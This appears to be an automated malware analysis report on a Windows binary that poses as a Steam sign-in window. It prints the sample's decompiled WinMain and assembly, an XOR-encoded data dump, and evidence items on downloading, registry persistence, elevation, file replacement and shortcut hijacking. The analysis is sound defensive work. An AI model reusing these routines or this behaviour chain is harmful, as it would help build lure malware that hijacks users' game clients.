CoUninitialize CoInitializeEx ExtractIconW DwmSetWindowAttribute GetSystemMetrics RegisterClassExW ShowWindow CreateWindowExW SetTimer TranslateMessage LoadCursorW SetProcessDPIAware UpdateWindow GetMessageW DispatchMessageW GetFileAttributesW GetProcAddress GetModuleHandleW FUN_140005a60, FUN_140006170, FUN_140007950, __security_check_cookie
Decompiled C · 99 lines
/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */

void FUN_140008650(HINSTANCE param_1)

{
  int iVar1;
  DWORD DVar2;
  int iVar3;
  HMODULE hModule;
  HCURSOR pHVar4;
  HICON pHVar5;
  undefined1 auStackY_338 [32];
  undefined4 local_2d8 [4];
  WNDCLASSEXW local_2c8;
  tagMSG local_278;
  undefined4 local_248;
  undefined4 local_244;
  undefined2 local_240;
  WCHAR local_228 [264];
  ulonglong local_18;
  
  local_18 = DAT_14002e040 ^ (ulonglong)auStackY_338;
  SetProcessDPIAware();
  CoInitializeEx((LPVOID)0x0,2);
  DAT_14002ffb8 = (FARPROC)0x0;
  DAT_14002ffc0 = (FARPROC)0x0;
  hModule = GetModuleHandleW(L"kernel32.dll");
  if (hModule != (HMODULE)0x0) {
    local_248 = 0x79706f43;
    local_244 = 0x656c6946;
    local_240 = 0x57;
    DAT_14002ffb8 = GetProcAddress(hModule,(LPCSTR)&local_248);
    local_248 = 0x65766f4d;
    local_244 = 0x656c6946;
    local_240 = 0x57;
    DAT_14002ffc0 = GetProcAddress(hModule,(LPCSTR)&local_248);
  }
  iVar1 = FUN_140007950();
  if (iVar1 == 0) {
    CoUninitialize();
  }
  else {
    local_2c8.cbSize = 0x50;
    local_2c8.lpszClassName._4_4_ = 0;
    local_2c8.hIconSm._0_4_ = 0;
    local_2c8.hIconSm._4_4_ = 0;
    local_2c8.style = 0;
    local_2c8.cbClsExtra = 0;
    local_2c8.lpfnWndProc._0_4_ = 0x40005ae0;
    local_2c8.lpfnWndProc._4_4_ = 1;
    local_2c8.cbWndExtra = 0;
    local_2c8.hIcon._0_4_ = 0;
    local_2c8.hIcon._4_4_ = 0;
    local_2c8.hCursor._0_4_ = 0;
    local_2c8.hCursor._4_4_ = 0;
    local_2c8.hbrBackground._0_4_ = 0;
    local_2c8._52_8_ = 0;
    local_2c8.lpszMenuName._4_4_ = 0;
    local_2c8.lpszClassName._0_4_ = 0;
    local_2c8.hInstance = param_1;
    pHVar4 = LoadCursorW((HINSTANCE)0x0,(LPCWSTR)0x7f00);
    local_2c8.hCursor._0_4_ = SUB84(pHVar4,0);
    local_2c8.hCursor._4_4_ = (undefined4)((ulonglong)pHVar4 >> 0x20);
    local_2c8.lpszClassName._0_4_ = 0x4002a260;
    local_2c8.lpszClassName._4_4_ = 1;
    iVar1 = FUN_140006170(local_228);
    if ((iVar1 != 0) && (local_228[0] != L'\0')) {
      DVar2 = GetFileAttributesW(local_228);
      if (DVar2 != 0xffffffff) {
        pHVar5 = ExtractIconW(param_1,local_228,0);
        local_2c8.hIcon._0_4_ = SUB84(pHVar5,0);
        local_2c8.hIcon._4_4_ = (undefined4)((ulonglong)pHVar5 >> 0x20);
      }
    }
    RegisterClassExW(&local_2c8);
    iVar1 = GetSystemMetrics(0);
    iVar3 = GetSystemMetrics(1);
    DAT_14002ffc8 =
         CreateWindowExW(0x40000,L"SteamClientWnd",L"Sign in to Steam",0x80000000,(iVar1 + -700) / 2
                         ,(iVar3 + -0x1bc) / 2,700,0x1bc,(HWND)0x0,(HMENU)0x0,param_1,(LPVOID)0x0);
    if (DAT_14002ffc8 != (HWND)0x0) {
      local_2d8[0] = 2;
      DwmSetWindowAttribute(DAT_14002ffc8,0x21,local_2d8,4);
      FUN_140005a60(DAT_14002ffc8);
      ShowWindow(DAT_14002ffc8,5);
      UpdateWindow(DAT_14002ffc8);
      SetTimer(DAT_14002ffc8,1,0x32,(TIMERPROC)0x0);
      iVar1 = GetMessageW(&local_278,(HWND)0x0,0,0);
      while (iVar1 != 0) {
        TranslateMessage(&local_278);
        DispatchMessageW(&local_278);
        iVar1 = GetMessageW(&local_278,(HWND)0x0,0,0);
      }
      CoUninitialize();
    }
  }
}

Assembly · 151 instructions, 8 annotated
AddressBytesInstructionComment
14000865048 89 5c 24 18MOV qword ptr [RSP + local_res18],RBX
14000865548 89 7c 24 20MOV qword ptr [RSP + local_res20],RDI
14000865a55PUSH RBP
14000865b48 8d ac 24 d0 fd ff ffLEA RBP,[RSP + -0x230]
14000866348 81 ec 30 03 00 00SUB RSP,0x330
14000866a48 8b 05 cf 59 02 00MOV RAX,qword ptr [DAT_14002e040]
14000867148 33 c4XOR RAX,RSP
14000867448 89 85 20 02 00 00MOV qword ptr [RBP + local_18],RAX
14000867b48 8b f9MOV RDI,RCX
14000867eff 15 fc 6d 01 00CALL qword ptr [PTR_SetProcessDPIAware_14001f480]
140008684ba 02 00 00 00MOV EDX,0x2
14000868933 c9XOR ECX,ECX
14000868bff 15 87 6e 01 00CALL qword ptr [PTR_CoInitializeEx_14001f518]
1400086910f 57 c0XORPS XMM0,XMM0
14000869448 8d 0d b5 00 02 00LEA RCX,[u_kernel32.dll_140028750]; "kernel32.dll"
14000869b0f 11 05 16 79 02 00MOVUPS xmmword ptr [DAT_14002ffb8],XMM0
1400086a2ff 15 e8 6b 01 00CALL qword ptr [PTR_GetModuleHandleW_14001f290]
1400086a848 8b d8MOV RBX,RAX
1400086ab48 85 c0TEST RAX,RAX
1400086ae74 50JZ LAB_140008700
1400086b048 8d 55 f0LEA RDX,[RBP + -0x10]
1400086b4c7 45 f0 43 6f 70 79MOV dword ptr [RBP + local_248],0x79706f43
1400086bb48 8b c8MOV RCX,RAX
1400086bec7 45 f4 46 69 6c 65MOV dword ptr [RBP + local_244],0x656c6946
1400086c566 c7 45 f8 57 00MOV word ptr [RBP + local_240],0x57
1400086cbff 15 a7 6b 01 00CALL qword ptr [PTR_GetProcAddress_14001f278]
1400086d148 8d 55 f0LEA RDX,[RBP + -0x10]
1400086d5c7 45 f0 4d 6f 76 65MOV dword ptr [RBP + local_248],0x65766f4d
1400086dc48 8b cbMOV RCX,RBX
1400086df48 89 05 d2 78 02 00MOV qword ptr [DAT_14002ffb8],RAX
1400086e6c7 45 f4 46 69 6c 65MOV dword ptr [RBP + local_244],0x656c6946
1400086ed66 c7 45 f8 57 00MOV word ptr [RBP + local_240],0x57
1400086f3ff 15 7f 6b 01 00CALL qword ptr [PTR_GetProcAddress_14001f278]
1400086f948 89 05 c0 78 02 00MOV qword ptr [DAT_14002ffc0],RAX
LAB_140008700:
140008700e8 4b f2 ff ffCALL FUN_140007950; FUN_140007950: GetModuleFileNameW, ExpandEnvironmentStringsW, PathRemoveFileSpecW, SHCreateDirectoryExW +20
14000870585 c0TEST EAX,EAX
14000870775 0dJNZ LAB_140008716
140008709ff 15 f9 6d 01 00CALL qword ptr [PTR_CoUninitialize_14001f508]
14000870f33 c0XOR EAX,EAX
140008711e9 dd 01 00 00JMP LAB_1400088f3
LAB_140008716:
1400087160f 57 c0XORPS XMM0,XMM0
LAB_140008719:
14000871948 89 b4 24 48 03 00 00MOV qword ptr [RSP + local_res10],RSI
14000872133 c0XOR EAX,EAX
140008723c7 44 24 70 50 00 00 00MOV dword ptr [RSP + local_2c8],0x50
14000872b48 89 45 b4MOV qword ptr [RBP + local_294[16]],RAX
14000872fba 00 7f 00 00MOV EDX,0x7f00
14000873489 45 bcMOV dword ptr [RBP + local_27c],EAX
14000873733 c9XOR ECX,ECX
14000873948 8d 05 a0 d3 ff ffLEA RAX,[FUN_140005ae0]
1400087400f 11 44 24 74MOVUPS xmmword ptr [RSP + local_2c4[0]],XMM0
14000874548 89 44 24 78MOV qword ptr [RSP + local_2c4[4]],RAX
14000874a0f 11 45 84MOVUPS xmmword ptr [RBP + local_2b4[0]],XMM0
14000874e48 89 7d 88MOV qword ptr [RBP + local_2b4[4]],RDI
1400087520f 11 45 94MOVUPS xmmword ptr [RBP + local_2b4[16]],XMM0
1400087560f 11 45 a4MOVUPS xmmword ptr [RBP + local_294[0]],XMM0
14000875aff 15 00 6d 01 00CALL qword ptr [PTR_LoadCursorW_14001f460]
14000876048 8d 35 f9 1a 02 00LEA RSI,[u_SteamClientWnd_14002a260]; "SteamClientWnd"
14000876748 89 45 98MOV qword ptr [RBP + Stack[-0x2a0]],RAX
14000876b48 8d 4d 10LEA RCX,[RBP + 0x10]
14000876f48 89 75 b0MOV qword ptr [RBP + local_294[12]],RSI; "SteamClientWnd"
140008773e8 f8 d9 ff ffCALL FUN_140006170; FUN_140006170: RegOpenKeyExW, RegQueryValueExW, RegCloseKey, GetFullPathNameW +2
14000877885 c0TEST EAX,EAX
14000877a74 2aJZ LAB_1400087a6
14000877c66 83 7d 10 00CMP word ptr [RBP + local_228],0x0
14000878174 23JZ LAB_1400087a6
14000878348 8d 4d 10LEA RCX,[RBP + 0x10]
140008787ff 15 8b 6a 01 00CALL qword ptr [PTR_GetFileAttributesW_14001f218]
14000878d83 f8 ffCMP EAX,-0x1
14000879074 14JZ LAB_1400087a6
14000879245 33 c0XOR R8D,R8D
14000879548 8d 55 10LEA RDX,[RBP + 0x10]
14000879948 8b cfMOV RCX,RDI
14000879cff 15 26 6c 01 00CALL qword ptr [PTR_ExtractIconW_14001f3c8]
1400087a248 89 45 90MOV qword ptr [RBP + local_2b4[12]],RAX
LAB_1400087a6:
1400087a648 8d 4c 24 70LEA RCX,[RSP + 0x70]
1400087abff 15 87 6c 01 00CALL qword ptr [PTR_RegisterClassExW_14001f438]
1400087b133 c9XOR ECX,ECX
1400087b3ff 15 6f 6c 01 00CALL qword ptr [PTR_GetSystemMetrics_14001f428]
1400087b92d bc 02 00 00SUB EAX,0x2bc
1400087beb9 01 00 00 00MOV ECX,0x1
1400087c399CDQ
1400087c42b c2SUB EAX,EDX
1400087c6d1 f8SAR EAX,0x1
1400087c88b d8MOV EBX,EAX
1400087caff 15 58 6c 01 00CALL qword ptr [PTR_GetSystemMetrics_14001f428]
1400087d033 c9XOR ECX,ECX
1400087d24c 8d 05 7f 0d 02 00LEA R8,[u_Sign_in_to_Steam_140029558]; "Sign in to Steam"
1400087d948 89 4c 24 58MOV qword ptr [RSP + local_2e0],RCX
1400087de2d bc 01 00 00SUB EAX,0x1bc
1400087e348 89 7c 24 50MOV qword ptr [RSP + local_2e8],RDI
1400087e899CDQ
1400087e948 89 4c 24 48MOV qword ptr [RSP + local_2f0],RCX
1400087ee2b c2SUB EAX,EDX
1400087f048 89 4c 24 40MOV qword ptr [RSP + local_2f8],RCX
1400087f541 b9 00 00 00 80MOV R9D,0x80000000
1400087fbc7 44 24 38 bc 01 00 00MOV dword ptr [RSP + local_300],0x1bc
14000880348 8b d6MOV RDX,RSI; "SteamClientWnd"
140008806d1 f8SAR EAX,0x1
140008808b9 00 00 04 00MOV ECX,0x40000
14000880dc7 44 24 30 bc 02 00 00MOV dword ptr [RSP + local_308],0x2bc
14000881589 44 24 28MOV dword ptr [RSP + local_310],EAX
14000881989 5c 24 20MOV dword ptr [RSP + local_318],EBX
14000881dff 15 25 6c 01 00CALL qword ptr [PTR_CreateWindowExW_14001f448]
14000882348 8b b4 24 48 03 00 00MOV RSI,qword ptr [RSP + local_res10]
14000882b48 89 05 96 77 02 00MOV qword ptr [DAT_14002ffc8],RAX
14000883248 85 c0TEST RAX,RAX
14000883575 0aJNZ LAB_140008841
LAB_140008837:
140008837b8 01 00 00 00MOV EAX,0x1
14000883ce9 b2 00 00 00JMP LAB_1400088f3
LAB_140008841:
14000884141 b9 04 00 00 00MOV R9D,0x4
140008847c7 44 24 60 02 00 00 00MOV dword ptr [RSP + local_2d8],0x2
14000884f4c 8d 44 24 60LEA R8,[RSP + 0x60]
140008854ba 21 00 00 00MOV EDX,0x21
14000885948 8b c8MOV RCX,RAX
14000885cff 15 86 6c 01 00CALL qword ptr [PTR_DwmSetWindowAttribute_14001f4e8]
14000886248 8b 0d 5f 77 02 00MOV RCX,qword ptr [DAT_14002ffc8]
140008869e8 f2 d1 ff ffCALL FUN_140005a60; FUN_140005a60: GetWindowRect, CreateRoundRectRgn, SetWindowRgn
14000886e48 8b 0d 53 77 02 00MOV RCX,qword ptr [DAT_14002ffc8]
140008875ba 05 00 00 00MOV EDX,0x5
14000887aff 15 c0 6b 01 00CALL qword ptr [PTR_ShowWindow_14001f440]
14000888048 8b 0d 41 77 02 00MOV RCX,qword ptr [DAT_14002ffc8]
140008887ff 15 fb 6b 01 00CALL qword ptr [PTR_UpdateWindow_14001f488]
14000888d48 8b 0d 34 77 02 00MOV RCX,qword ptr [DAT_14002ffc8]
14000889445 33 c9XOR R9D,R9D
140008897ba 01 00 00 00MOV EDX,0x1
14000889c41 b8 32 00 00 00MOV R8D,0x32
1400088a2ff 15 a8 6b 01 00CALL qword ptr [PTR_SetTimer_14001f450]
1400088a845 33 c9XOR R9D,R9D
1400088ab48 8d 4d c0LEA RCX,[RBP + -0x40]
1400088af45 33 c0XOR R8D,R8D
1400088b233 d2XOR EDX,EDX
1400088b4ff 15 0e 6c 01 00CALL qword ptr [PTR_GetMessageW_14001f4c8]
1400088ba85 c0TEST EAX,EAX
1400088bc74 2cJZ LAB_1400088ea
1400088be66 90NOP
LAB_1400088c0:
1400088c048 8d 4d c0LEA RCX,[RBP + -0x40]
1400088c4ff 15 8e 6b 01 00CALL qword ptr [PTR_TranslateMessage_14001f458]
1400088ca48 8d 4d c0LEA RCX,[RBP + -0x40]
1400088ceff 15 04 6c 01 00CALL qword ptr [PTR_DispatchMessageW_14001f4d8]
1400088d445 33 c9XOR R9D,R9D
1400088d748 8d 4d c0LEA RCX,[RBP + -0x40]
1400088db45 33 c0XOR R8D,R8D
1400088de33 d2XOR EDX,EDX
1400088e0ff 15 e2 6b 01 00CALL qword ptr [PTR_GetMessageW_14001f4c8]
1400088e685 c0TEST EAX,EAX
1400088e875 d6JNZ LAB_1400088c0
LAB_1400088ea:
1400088eaff 15 18 6c 01 00CALL qword ptr [PTR_CoUninitialize_14001f508]
1400088f08b 45 d0MOV EAX,dword ptr [RBP + local_268]
LAB_1400088f3:
1400088f348 8b 8d 20 02 00 00MOV RCX,qword ptr [RBP + local_18]
1400088fa48 33 ccXOR RCX,RSP
1400088fde8 2e 00 00 00CALL __security_check_cookie

Cited addresses with no code to decompile: 0x14002a2e0 (not executable (.rdata))

Evidence 20

Every claim in this report rests on one of these items: what was examined, where, how (read from the file, decoded by the analysis, or reported by a tool), and what it shows. "Checked: not present" marks something the analysis looked for and did not find.

E1
read from the file·function

Downloads a file via URLDownloadToFileW to temp directory from a XOR-decoded URL

bytes sha256 8c720a6d2537ab8a904e1651b1848c7e364a8479458904859f19a2ca5675f4c7
E2
read from the file·function

Queries Steam install path from HKLM\SOFTWARE\WOW6432Node\Valve\Steam and per-user uninstall keys

bytes sha256 8ac41cd3222eb2490a435c5b0046999184d65171bd889a303e664268e70ac6b4
E3
read from the file·function

Opens per-user uninstall registry keys with RegOpenKeyExW and reads the install path with RegQueryValueExW

bytes sha256 77a77d594bb0aa3cf296873aa3b35a21a9cae5bfa26f9c82a5f5cb820ff6d26f
E4
read from the file·function

Creates registry persistence entries under HKCU and HKLM with XOR-decoded key names and random sleep

bytes sha256 da9d91a1de04ae571c0d5fd3c865cb6c56c86e5628828b10b38460649c8f2edd
E5
read from the file·function

Enumerates running processes with CreateToolhelp32Snapshot and sends WM_CLOSE via PostMessageW to matches

bytes sha256 ca94cac8a3004516dc772fc404e98a6b64305afeec9edc573569104af768cd43
E6
read from the file·function

Main installer: copies self to Steam directory, elevates via UAC, stops service, kills processes, replaces files

bytes sha256 0c8e5baf0d2dd35d52f29795be0337a09344660edb8cc24cf64fb5bf17cbc2ce
E7
read from the file·function

Recursively searches directories to depth 9 matching files with PathMatchSpecW

bytes sha256 cca40b3fafab7ab41034294a40276e66c7a30d716f906b304587c66d4ea51c9c
E8
read from the file·function

WinMain creates a 700x500 layered window with Steam icon via ExtractIconW and enters the message pump

bytes sha256 895c5b9afb31739a8d8adf0183b01d7e5019695ff56cea91d27616730218f7ba
E9
read from the file·function

Parses URL navigation events from the lure window and launches them with ShellExecuteW

bytes sha256 35a3da9ae96d981dac0cac224aa1ee074a452ee72c6506f6436511a205efc482
E10
read from the file·function

Replaces target files using dynamically resolved CopyFileW and MoveFileW with prior deletion

bytes sha256 52885e1451289c0670b42b89cddd18f87aedbb49fc4c7d4802774264e282177b
E11
read from the file·address range
0x14002a2e0

XOR decode uses a DWORD key at DAT_14002a510 applied against a 560-byte data block starting at 0x14002a2e0 with a 0x5a5a short-XOR tail

Bytes · 560 at 0x14002a2e0
14002a2e0  32 5a 2e 5a 2e 5a 2a 5a 29 5a 60 5a 75 5a 75 5a  2Z.Z.Z*Z)Z`ZuZuZ
14002a2f0  3d 5a 35 5a 74 5a 37 5a 33 5a 39 5a 28 5a 35 5a  =Z5ZtZ7Z3Z9Z(Z5Z
14002a300  29 5a 35 5a 3c 5a 2e 5a 74 5a 39 5a 35 5a 37 5a  )Z5Z<Z.ZtZ9Z5Z7Z
14002a310  75 5a 3c 5a 2d 5a 36 5a 33 5a 34 5a 31 5a 75 5a  uZ<Z-Z6Z3Z4Z1ZuZ
14002a320  2a 5a 75 5a 65 5a 16 5a 33 5a 34 5a 31 5a 13 5a  *ZuZeZ.Z3Z4Z1Z.Z
14002a330  3e 5a 67 5a 68 5a 6b 5a 68 5a 6e 5a 6d 5a 6a 5a  >ZgZhZkZhZnZmZjZ
14002a340  69 5a 00 00 00 00 00 00 00 00 00 00 00 00 00 00  iZ..............
14002a350  d0 9a 02 40 01 00 00 00 18 9b 02 40 01 00 00 00  ...@.......@....
… cut at 128 of 560 bytes
bytes sha256 615c048e0527572e51a240d3186628c6e2dbf7e89cdb059efd2d3aed7995a2ea
E12
read from the file·function

Checks admin privileges via OpenProcessToken and GetTokenInformation for TokenElevation

bytes sha256 7c1dea77374698b4cd43f496f39f185edc5d7d14d08e9c3260dab2d0da59574b
E13
read from the file·function

Calls OpenSCManager and ControlService to stop a service before file replacement

bytes sha256 0c8e5baf0d2dd35d52f29795be0337a09344660edb8cc24cf64fb5bf17cbc2ce
E14
read from the file·function

Scans 6 folders (Desktop, Programs, etc.) for shortcut files and replaces them to hijack execution

bytes sha256 0c8e5baf0d2dd35d52f29795be0337a09344660edb8cc24cf64fb5bf17cbc2ce
E15
read from the file·file header
rich

Rich header present indicating VS2019 Release x64 build tools

E16
read from the file·metadata
version_info

VersionInfo resource present with CompanyName (17 chars) and InternalName (95 chars) fields

E17
read from the file·function

WndProc handles WM_TIMER id 1 by killing the timer and calling the downloader at 0x140005750; handles WM_DESTROY with COM release and PostQuitMessage; handles WM_SIZE with rounded-region resize

bytes sha256 bbe618ccde534f768a52a111b200abf8d65e6a26050956b60b73837b33c329fe
E18
read from the file·function

Uses IShellLink COM to load shortcut files, compares target filename via wcsicoll, then replaces target path, arguments and icon on matching shortcuts

bytes sha256 5e287a0863b3c31f5d08f4ac637f9c897d8af6b04eb153f4f7a7327ceb31cf1c
E19
read from the file·function

Creates a rounded rectangle window region with 12px corner radius via CreateRoundRectRgn and SetWindowRgn

bytes sha256 a86eb0807f63a6dd61467cbf8306bed1ef2bf0aafdacbe17afef6d0f774c18ec
E20
read from the file·function

Extension normalizer: copies path to buffer with case conversion, checks if suffix matches expected extension, appends it if missing

bytes sha256 1135dac21b4068cb1c8ad0c302da9428d5eb248cd54f4f931a5f7e982442d7dc

Run details

Run

model claude-opus-4-6effort mediumduration s 39 min 43 stokens 269,202tool uses 341

Produced with

skills
research-analysis
2026-10-28-1
research-corpus
2026-10-28-1
research-ledger
2026-10-28-1
tools
triage
2026-10-28-1
capa
7.4.0
floss
3.1.1
ghidra
12.1.4
snapshot taken at
2026-10-28T00:00Z

Other sections of the report

Report keys this renderer has no special layout for, shown as written.

created · 2026-10-29T03:23Z2026-10-29T03:23Z
reachability · 4 items
filegraphrootsinternalreachedunreachedunreached status
Originalnative_callgraph632357275possibly_reached
Originalnative_callgraph.dispatch632390242possibly_reached
Originalghidra_callgraph632357275possibly_reached
Originalunion632390242possibly_reached
limits · 1 items
fileroots searchedlibrary filtersunresolved in reached codepasses runnot claimed
Originalentryghidra_fidcapa_library25XOR-decoded runtime strings not recovered statically (U1). RCDATA resources not decoded (U4). 242 functions unreached with 25 unresolved call sites in reached code.
questions · 5 items
idquestionstatusevidenceunknowns
Q1What is the file?answeredE6, E15, E16none
Q2What does it do?partialE1, E2, E3, E4, E5, E7, E8, E9, E10, E11, E12, E13, E14, E17, E18, E19, E20U1U4
Q3Configuration and IOCs?partialE2U1
Q4Classification?answeredE2, E6, E8, E11, E14, E17, E18none
Q5Unknowns and limits?partialE6U1U4